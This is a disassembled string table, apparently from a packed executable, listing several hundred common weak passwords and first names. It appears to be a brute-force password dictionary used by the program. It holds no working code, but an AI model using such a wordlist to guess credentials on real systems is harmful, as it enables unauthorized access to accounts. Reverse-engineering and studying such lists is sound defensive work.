aName		db 'name',0             ; DATA XREF: .nsp0:004272C4o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .nsp0:004272C0o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: .nsp0:004272BCo
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .nsp0:004272B8o
aMsdos		db 'msdos',0            ; DATA XREF: .nsp0:004272B4o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .nsp0:004272B0o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: .nsp0:004272ACo
		align 4
aMovies		db 'movies',0           ; DATA XREF: .nsp0:004272A8o
		align 4
aMovie		db 'movie',0            ; DATA XREF: .nsp0:004272A4o
		align 4
aMove		db 'move',0             ; DATA XREF: .nsp0:004272A0o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: .nsp0:0042729Co
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .nsp0:00427298o
		align 10h
aMosaic		db 'mosaic',0           ; DATA XREF: .nsp0:00427294o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: .nsp0:00427290o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .nsp0:0042728Co
		align 10h
aMortal		db 'mortal',0           ; DATA XREF: .nsp0:00427288o
		align 4
aMorris		db 'morris',0           ; DATA XREF: .nsp0:00427284o
		align 10h
aMorley		db 'morley',0           ; DATA XREF: .nsp0:00427280o
		align 4
aMore		db 'more',0             ; DATA XREF: .nsp0:0042727Co
		align 10h
aMoose		db 'moose',0            ; DATA XREF: .nsp0:00427278o
		align 4
aMoor		db 'moor',0             ; DATA XREF: .nsp0:00427274o
		align 10h
aMoom		db 'moom',0             ; DATA XREF: .nsp0:00427270o
		align 4
aMonica		db 'monica',0           ; DATA XREF: .nsp0:0042726Co
		align 10h
aMonday		db 'monday',0           ; DATA XREF: .nsp0:00427268o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: .nsp0:00427264o
		align 10h
aMogul		db 'mogul',0            ; DATA XREF: .nsp0:00427260o
		align 4
aModem		db 'modem',0            ; DATA XREF: .nsp0:0042725Co
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401AA1+2E03o
					; sub_401AA1+4064o ...
		align 4
aMkii		db 'mkii',0             ; DATA XREF: .nsp0:00427254o
		align 10h
aMission	db 'mission',0          ; DATA XREF: .nsp0:00427250o
aMisfit		db 'misfit',0           ; DATA XREF: .nsp0:0042724Co
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: .nsp0:00427248o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: .nsp0:00427244o
aMine		db 'mine',0             ; DATA XREF: .nsp0:00427240o
		align 4
aMike		db 'mike',0             ; DATA XREF: .nsp0:0042723Co
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: .nsp0:00427238o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .nsp0:00427234o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: .nsp0:00427230o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .nsp0:0042722Co
		align 10h
aMicro		db 'micro',0            ; DATA XREF: .nsp0:00427228o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: .nsp0:00427224o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: .nsp0:00427220o
		align 4
aMichele	db 'michele',0          ; DATA XREF: .nsp0:0042721Co
aMichelan	db 'michelan',0         ; DATA XREF: .nsp0:00427218o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: .nsp0:00427214o
		align 4
aMichael	db 'michael',0          ; DATA XREF: .nsp0:00427210o
aMice		db 'mice',0             ; DATA XREF: .nsp0:0042720Co
		align 4
aMets		db 'mets',0             ; DATA XREF: .nsp0:00427208o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: .nsp0:00427204o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .nsp0:00427200o
		align 4
aMetal		db 'metal',0            ; DATA XREF: .nsp0:004271FCo
		align 10h
aMerlin		db 'merlin',0           ; DATA XREF: .nsp0:004271F8o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: .nsp0:004271F4o
aMenu		db 'menu',0             ; DATA XREF: .nsp0:004271F0o
		align 4
aMenace		db 'menace',0           ; DATA XREF: .nsp0:004271ECo
		align 10h
aMemory		db 'memory',0           ; DATA XREF: .nsp0:004271E8o
		align 4
aMember		db 'member',0           ; DATA XREF: .nsp0:004271E4o
		align 10h
aMelrose	db 'melrose',0          ; DATA XREF: .nsp0:004271E0o
aMellon		db 'mellon',0           ; DATA XREF: .nsp0:004271DCo
		align 10h
aMelissa	db 'melissa',0          ; DATA XREF: .nsp0:004271D8o
aMegan		db 'megan',0            ; DATA XREF: .nsp0:004271D4o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: .nsp0:004271D0o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .nsp0:004271CCo
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: .nsp0:004271C8o
		align 10h
aMaurice	db 'maurice',0          ; DATA XREF: .nsp0:004271C4o
aMath		db 'math',0             ; DATA XREF: .nsp0:004271C0o
		align 10h
aMaster		db 'master',0           ; DATA XREF: .nsp0:004271BCo
		align 4
aMason		db 'mason',0            ; DATA XREF: .nsp0:004271B8o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .nsp0:004271B4o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: .nsp0:004271B0o
		align 10h
aMarty		db 'marty',0            ; DATA XREF: .nsp0:004271ACo
		align 4
aMars		db 'mars',0             ; DATA XREF: .nsp0:004271A8o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: .nsp0:004271A4o
		align 4
aMarni		db 'marni',0            ; DATA XREF: .nsp0:004271A0o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .nsp0:0042719Co
		align 4
aMark		db 'mark',0             ; DATA XREF: .nsp0:00427198o
		align 4
aMarines	db 'marines',0          ; DATA XREF: .nsp0:00427194o
aMarijuan	db 'marijuan',0         ; DATA XREF: .nsp0:00427190o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: .nsp0:0042718Co
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .nsp0:00427188o
aMaria		db 'maria',0            ; DATA XREF: .nsp0:00427184o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .nsp0:00427180o
					; .nsp0:0043B0E4o
		align 4
aMarci		db 'marci',0            ; DATA XREF: .nsp0:0042717Co
		align 4
aMara		db 'mara',0             ; DATA XREF: .nsp0:00427178o
		align 4
aManager	db 'manager',0          ; DATA XREF: .nsp0:00427174o
aMana		db 'mana',0             ; DATA XREF: .nsp0:00427170o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .nsp0:0042716Co
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .nsp0:00427168o
aMaint		db 'maint',0            ; DATA XREF: .nsp0:00427164o
		align 4
aMail		db 'mail',0             ; DATA XREF: .nsp0:00427160o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .nsp0:0042715Co
		align 4
aMagic		db 'magic',0            ; DATA XREF: .nsp0:00427158o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .nsp0:00427154o
		align 4
aMacro		db 'macro',0            ; DATA XREF: .nsp0:00427150o
		align 4
aMack		db 'mack',0             ; DATA XREF: .nsp0:0042714Co
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .nsp0:00427148o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: .nsp0:00427144o
aLynne		db 'lynne',0            ; DATA XREF: .nsp0:00427140o
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: .nsp0:0042713Co
		align 4
aLust		db 'lust',0             ; DATA XREF: .nsp0:00427138o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: .nsp0:00427134o
		align 4
aLude		db 'lude',0             ; DATA XREF: .nsp0:00427130o
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: .nsp0:0042712Co
		align 4
aLucus		db 'lucus',0            ; DATA XREF: .nsp0:00427128o
		align 10h
aLuck		db 'luck',0             ; DATA XREF: .nsp0:00427124o
		align 4
aLover		db 'lover',0            ; DATA XREF: .nsp0:00427120o
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: .nsp0:0042711Co
aLouis		db 'louis',0            ; DATA XREF: .nsp0:00427118o
		align 10h
aLoser		db 'loser',0            ; DATA XREF: .nsp0:00427114o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: .nsp0:00427110o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .nsp0:0042710Co
		align 4
aLori		db 'lori',0             ; DATA XREF: .nsp0:00427108o
		align 4
aLore		db 'lore',0             ; DATA XREF: .nsp0:00427104o
		align 4
aLoose		db 'loose',0            ; DATA XREF: .nsp0:00427100o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .nsp0:004270FCo
		align 4
aLois		db 'lois',0             ; DATA XREF: .nsp0:004270F8o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401AA1+C28o
					; .nsp0:004270F4o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .nsp0:004270F0o
		align 4
aLogic		db 'logic',0            ; DATA XREF: .nsp0:004270ECo
		align 10h
aLockword	db 'lockword',0         ; DATA XREF: .nsp0:004270E8o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .nsp0:004270E4o
aLock		db 'lock',0             ; DATA XREF: .nsp0:004270E0o
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401AA1+2C42o
					; .nsp0:004270DCo
		align 4
aLive		db 'live',0             ; DATA XREF: .nsp0:004270D8o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .nsp0:004270D4o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: .nsp0:004270D0o
		align 10h
aLisa		db 'lisa',0             ; DATA XREF: .nsp0:004270CCo
		align 4
aLips		db 'lips',0             ; DATA XREF: .nsp0:004270C8o
		align 10h
aLion		db 'lion',0             ; DATA XREF: .nsp0:004270C4o
		align 4
aLink		db 'link',0             ; DATA XREF: .nsp0:004270C0o
		align 10h
aLinda		db 'linda',0            ; DATA XREF: .nsp0:004270BCo
		align 4
aLimited	db 'limited',0          ; DATA XREF: .nsp0:004270B8o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .nsp0:004270B4o
		align 4
aLima		db 'lima',0             ; DATA XREF: .nsp0:004270B0o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .nsp0:004270ACo
		align 10h
aLight		db 'light',0            ; DATA XREF: .nsp0:004270A8o
		align 4
aLife		db 'life',0             ; DATA XREF: .nsp0:004270A4o
		align 10h
aLicker		db 'licker',0           ; DATA XREF: .nsp0:004270A0o
		align 4
aLick		db 'lick',0             ; DATA XREF: .nsp0:0042709Co
		align 10h
aLibrary	db 'library',0          ; DATA XREF: .nsp0:00427098o
aLiberal	db 'liberal',0          ; DATA XREF: .nsp0:00427094o
aLexluthe	db 'lexluthe',0         ; DATA XREF: .nsp0:00427090o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: .nsp0:0042708Co
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .nsp0:00427088o
aLeslie		db 'leslie',0           ; DATA XREF: .nsp0:00427084o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .nsp0:00427080o
aLeroy		db 'leroy',0            ; DATA XREF: .nsp0:0042707Co
		align 4
aLeland		db 'leland',0           ; DATA XREF: .nsp0:00427078o
		align 4
aLegal		db 'legal',0            ; DATA XREF: .nsp0:00427074o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .nsp0:00427070o
		align 10h
aLeft		db 'left',0             ; DATA XREF: .nsp0:0042706Co
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: .nsp0:00427068o
		align 4
aLeah		db 'leah',0             ; DATA XREF: .nsp0:00427064o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .nsp0:00427060o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .nsp0:0042705Co
aLava		db 'lava',0             ; DATA XREF: .nsp0:00427058o
		align 4
aLaura		db 'laura',0            ; DATA XREF: .nsp0:00427054o
		align 4
aLaser		db 'laser',0            ; DATA XREF: .nsp0:00427050o
		align 4
aLarry		db 'larry',0            ; DATA XREF: .nsp0:0042704Co
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .nsp0:00427048o
		align 4
aLara		db 'lara',0             ; DATA XREF: .nsp0:00427044o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .nsp0:00427040o
		align 4
aLana		db 'lana',0             ; DATA XREF: .nsp0:0042703Co
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .nsp0:00427038o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: .nsp0:00427034o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: .nsp0:00427030o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: .nsp0:0042702Co
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: .nsp0:00427028o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: .nsp0:00427024o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: .nsp0:00427020o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .nsp0:0042701Co
aKristie	db 'kristie',0          ; DATA XREF: .nsp0:00427018o
aKristi		db 'kristi',0           ; DATA XREF: .nsp0:00427014o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .nsp0:00427010o
aKrista		db 'krista',0           ; DATA XREF: .nsp0:0042700Co
		align 4
aKnown		db 'known',0            ; DATA XREF: .nsp0:00427008o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .nsp0:00427004o
		align 4
aKnight		db 'knight',0           ; DATA XREF: .nsp0:00427000o
		align 10h
aKnife		db 'knife',0            ; DATA XREF: .nsp0:00426FFCo
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: .nsp0:00426FF8o
aKitten		db 'kitten',0           ; DATA XREF: .nsp0:00426FF4o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: .nsp0:00426FF0o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .nsp0:00426FECo
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .nsp0:00426FE8o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: .nsp0:00426FE4o
		align 10h
aKing		db 'king',0             ; DATA XREF: .nsp0:00426FE0o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: .nsp0:00426FDCo
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .nsp0:00426FD8o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .nsp0:00426FD4o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401AA1+397Ao
					; .nsp0:00426FD0o
		align 10h
aKids		db 'kids',0             ; DATA XREF: .nsp0:00426FCCo
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: .nsp0:00426FC8o
aKeyin		db 'keyin',0            ; DATA XREF: .nsp0:00426FC4o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: .nsp0:00426FC0o
aKewl		db 'kewl',0             ; DATA XREF: .nsp0:00426FBCo
		align 4
aKevin		db 'kevin',0            ; DATA XREF: .nsp0:00426FB8o
		align 10h
aKerry		db 'kerry',0            ; DATA XREF: .nsp0:00426FB4o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: .nsp0:00426FB0o
		align 10h
aKerri		db 'kerri',0            ; DATA XREF: .nsp0:00426FACo
		align 4
aKernel		db 'kernel',0           ; DATA XREF: .nsp0:00426FA8o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: .nsp0:00426FA4o
					; .nsp0:0043B10Co
		align 4
aKeri		db 'keri',0             ; DATA XREF: .nsp0:00426FA0o
		align 10h
aKelly		db 'kelly',0            ; DATA XREF: .nsp0:00426F9Co
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: .nsp0:00426F98o
aKatina		db 'katina',0           ; DATA XREF: .nsp0:00426F94o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: .nsp0:00426F90o
		align 10h
aKathrine	db 'kathrine',0         ; DATA XREF: .nsp0:00426F8Co
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .nsp0:00426F88o
		align 4
aKate		db 'kate',0             ; DATA XREF: .nsp0:00426F84o
		align 10h
aKatana		db 'katana',0           ; DATA XREF: .nsp0:00426F80o
		align 4
aKarina		db 'karina',0           ; DATA XREF: .nsp0:00426F7Co
		align 10h
aKarie		db 'karie',0            ; DATA XREF: .nsp0:00426F78o
		align 4
aKaren		db 'karen',0            ; DATA XREF: .nsp0:00426F74o
		align 10h
aKaka		db 'kaka',0             ; DATA XREF: .nsp0:00426F70o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: .nsp0:00426F6Co
aJune		db 'june',0             ; DATA XREF: .nsp0:00426F68o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: .nsp0:00426F64o
		align 10h
aJulie		db 'julie',0            ; DATA XREF: .nsp0:00426F60o
		align 4
aJulia		db 'julia',0            ; DATA XREF: .nsp0:00426F5Co
		align 10h
aJuicy		db 'juicy',0            ; DATA XREF: .nsp0:00426F58o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: .nsp0:00426F54o
		align 10h
aJudy		db 'judy',0             ; DATA XREF: .nsp0:00426F50o
		align 4
aJudith		db 'judith',0           ; DATA XREF: .nsp0:00426F4Co
		align 10h
aJoyce		db 'joyce',0            ; DATA XREF: .nsp0:00426F48o
		align 4
aJournal	db 'journal',0          ; DATA XREF: .nsp0:00426F44o
aJoshua		db 'joshua',0           ; DATA XREF: .nsp0:00426F40o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: .nsp0:00426F3Co
		align 10h
aJohnny		db 'johnny',0           ; DATA XREF: .nsp0:00426F38o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: .nsp0:00426F34o
aJohn		db 'john',0             ; DATA XREF: .nsp0:00426F30o
		align 4
aJody		db 'jody',0             ; DATA XREF: .nsp0:00426F2Co
		align 10h
aJoanne		db 'joanne',0           ; DATA XREF: .nsp0:00426F28o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: .nsp0:00426F24o
		align 10h
aJill		db 'jill',0             ; DATA XREF: .nsp0:00426F20o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: .nsp0:00426F1Co
aJester		db 'jester',0           ; DATA XREF: .nsp0:00426F18o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: .nsp0:00426F14o
aJerusale	db 'jerusale',0         ; DATA XREF: .nsp0:00426F10o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .nsp0:00426F0Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .nsp0:00426F08o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .nsp0:00426F04o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: .nsp0:00426F00o
		align 10h
aJeff		db 'jeff',0             ; DATA XREF: .nsp0:00426EFCo
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: .nsp0:00426EF8o
		align 10h
aJean		db 'jean',0             ; DATA XREF: .nsp0:00426EF4o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: .nsp0:00426EF0o
		align 10h
aJava		db 'java',0             ; DATA XREF: .nsp0:00426EECo
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: .nsp0:00426EE8o
		align 10h
aJapan		db 'japan',0            ; DATA XREF: .nsp0:00426EE4o
		align 4
aJanie		db 'janie',0            ; DATA XREF: .nsp0:00426EE0o
		align 10h
aJanice		db 'janice',0           ; DATA XREF: .nsp0:00426EDCo
		align 4
aJanet		db 'janet',0            ; DATA XREF: .nsp0:00426ED8o
		align 10h
aJane		db 'jane',0             ; DATA XREF: .nsp0:00426ED4o
		align 4
aJail		db 'jail',0             ; DATA XREF: .nsp0:00426ED0o
		align 10h
aJackie		db 'jackie',0           ; DATA XREF: .nsp0:00426ECCo
		align 4
aIsis		db 'isis',0             ; DATA XREF: .nsp0:00426EC8o
		align 10h
aIrishman	db 'irishman',0         ; DATA XREF: .nsp0:00426EC4o
		align 4
aIrene		db 'irene',0            ; DATA XREF: .nsp0:00426EC0o
		align 4
aInvent		db 'invent',0           ; DATA XREF: .nsp0:00426EBCo
		align 4
aInteger	db 'integer',0          ; DATA XREF: .nsp0:00426EB8o
aInside		db 'inside',0           ; DATA XREF: .nsp0:00426EB4o
		align 4
aInput		db 'input',0            ; DATA XREF: .nsp0:00426EB0o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .nsp0:00426EACo
		align 10h
aInna		db 'inna',0             ; DATA XREF: .nsp0:00426EA8o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: .nsp0:00426EA4o
		align 10h
aIngress	db 'ingress',0          ; DATA XREF: .nsp0:00426EA0o
aIngres		db 'ingres',0           ; DATA XREF: .nsp0:00426E9Co
		align 10h
aIndians	db 'indians',0          ; DATA XREF: .nsp0:00426E98o
aIndiana	db 'indiana',0          ; DATA XREF: .nsp0:00426E94o
aIndian		db 'indian',0           ; DATA XREF: .nsp0:00426E90o
		align 4
aIndia		db 'india',0            ; DATA XREF: .nsp0:00426E8Co
		align 10h
aInclude	db 'include',0          ; DATA XREF: .nsp0:00426E88o
aImperial	db 'imperial',0         ; DATA XREF: .nsp0:00426E84o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .nsp0:00426E80o
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: .nsp0:00426E7Co
		align 4
aImage		db 'image',0            ; DATA XREF: .nsp0:00426E78o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .nsp0:00426E74o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: .nsp0:00426E70o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .nsp0:00426E6Co
		align 4
aHyper		db 'hyper',0            ; DATA XREF: .nsp0:00426E68o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: .nsp0:00426E64o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .nsp0:00426E60o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: .nsp0:00426E5Co
		align 10h
aHunt		db 'hunt',0             ; DATA XREF: .nsp0:00426E58o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401AA1+1785o
					; .nsp0:00426E54o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: .nsp0:00426E50o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: .nsp0:00426E4Co
		align 10h
aHost		db 'host',0             ; DATA XREF: .nsp0:00426E48o
		align 4
aHorus		db 'horus',0            ; DATA XREF: .nsp0:00426E44o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: .nsp0:00426E40o
		align 4
aHorror		db 'horror',0           ; DATA XREF: .nsp0:00426E3Co
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: .nsp0:00426E38o
		align 4
aHorny		db 'horny',0            ; DATA XREF: .nsp0:00426E34o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .nsp0:00426E30o
aHooker		db 'hooker',0           ; DATA XREF: .nsp0:00426E2Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: .nsp0:00426E28o
		align 4
aHomework	db 'homework',0         ; DATA XREF: .nsp0:00426E24o
		align 4
aHomer		db 'homer',0            ; DATA XREF: .nsp0:00426E20o
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: .nsp0:00426E1Co
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .nsp0:00426E18o
		align 4
aHolly		db 'holly',0            ; DATA XREF: .nsp0:00426E14o
		align 10h
aHole		db 'hole',0             ; DATA XREF: .nsp0:00426E10o
		align 4
aHits		db 'hits',0             ; DATA XREF: .nsp0:00426E0Co
		align 10h
aHitler		db 'hitler',0           ; DATA XREF: .nsp0:00426E08o
		align 4
aHighland	db 'highland',0         ; DATA XREF: .nsp0:00426E04o
		align 4
aHigh		db 'high',0             ; DATA XREF: .nsp0:00426E00o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .nsp0:00426DFCo
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .nsp0:00426DF8o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: .nsp0:00426DF4o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .nsp0:00426DF0o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: .nsp0:00426DECo
aHeroin		db 'heroin',0           ; DATA XREF: .nsp0:00426DE8o
		align 4
aHero		db 'hero',0             ; DATA XREF: .nsp0:00426DE4o
		align 10h
aHerbert	db 'herbert',0          ; DATA XREF: .nsp0:00426DE0o
aHerb		db 'herb',0             ; DATA XREF: .nsp0:00426DDCo
		align 10h
aHelp		db 'help',0             ; DATA XREF: .nsp0:00426DD8o
		align 4
aHello		db 'hello',0            ; DATA XREF: .nsp0:00426DD4o
		align 10h
aHell		db 'hell',0             ; DATA XREF: .nsp0:00426DD0o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: .nsp0:00426DCCo
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .nsp0:00426DC8o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .nsp0:00426DC4o
		align 4
aHeather	db 'heather',0          ; DATA XREF: .nsp0:00426DC0o
aHeathen	db 'heathen',0          ; DATA XREF: .nsp0:00426DBCo
aHeat		db 'heat',0             ; DATA XREF: .nsp0:00426DB8o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: .nsp0:00426DB4o
		align 4
aHead		db 'head',0             ; DATA XREF: .nsp0:00426DB0o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .nsp0:00426DACo
		align 4
aHaven		db 'haven',0            ; DATA XREF: .nsp0:00426DA8o
		align 4
aHate		db 'hate',0             ; DATA XREF: .nsp0:00426DA4o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .nsp0:00426DA0o
		align 4
aHarold		db 'harold',0           ; DATA XREF: .nsp0:00426D9Co
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .nsp0:00426D98o
aHarddriv	db 'harddriv',0         ; DATA XREF: .nsp0:00426D94o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: .nsp0:00426D90o
		align 4
aHard		db 'hard',0             ; DATA XREF: .nsp0:00426D8Co
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .nsp0:00426D88o
		align 10h
aHandjob	db 'handjob',0          ; DATA XREF: .nsp0:00426D84o
aHandily	db 'handily',0          ; DATA XREF: .nsp0:00426D80o
aHandel		db 'handel',0           ; DATA XREF: .nsp0:00426D7Co
		align 4
aHamster	db 'hamster',0          ; DATA XREF: .nsp0:00426D78o
aHamlet		db 'hamlet',0           ; DATA XREF: .nsp0:00426D74o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: .nsp0:00426D70o
		align 4
aHair		db 'hair',0             ; DATA XREF: .nsp0:00426D6Co
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .nsp0:00426D68o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .nsp0:00426D64o
		align 4
aHack		db 'hack',0             ; DATA XREF: .nsp0:00426D60o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .nsp0:00426D5Co
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .nsp0:00426D58o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: .nsp0:00426D54o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: .nsp0:00426D50o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: .nsp0:00426D4Co
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: .nsp0:00426D48o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .nsp0:00426D44o
aGroup		db 'group',0            ; DATA XREF: .nsp0:00426D40o
		align 4
aGreen		db 'green',0            ; DATA XREF: .nsp0:00426D3Co
		align 4
aGreat		db 'great',0            ; DATA XREF: .nsp0:00426D38o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .nsp0:00426D34o
		align 4
aGrand		db 'grand',0            ; DATA XREF: .nsp0:00426D30o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .nsp0:00426D2Co
		align 4
aGraham		db 'graham',0           ; DATA XREF: .nsp0:00426D28o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .nsp0:00426D24o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .nsp0:00426D20o
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: .nsp0:00426D1Co
		align 4
aGosling	db 'gosling',0          ; DATA XREF: .nsp0:00426D18o
aGorges		db 'gorges',0           ; DATA XREF: .nsp0:00426D14o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: .nsp0:00426D10o
		align 4
aGood		db 'good',0             ; DATA XREF: .nsp0:00426D0Co
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .nsp0:00426D08o
		align 4
aGolf		db 'golf',0             ; DATA XREF: .nsp0:00426D04o
		align 4
aGolden		db 'golden',0           ; DATA XREF: .nsp0:00426D00o
		align 4
aGold		db 'gold',0             ; DATA XREF: .nsp0:00426CFCo
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .nsp0:00426CF8o
aGirl		db 'girl',0             ; DATA XREF: .nsp0:00426CF4o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .nsp0:00426CF0o
		align 4
aGina		db 'gina',0             ; DATA XREF: .nsp0:00426CECo
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .nsp0:00426CE8o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: .nsp0:00426CE4o
		align 10h
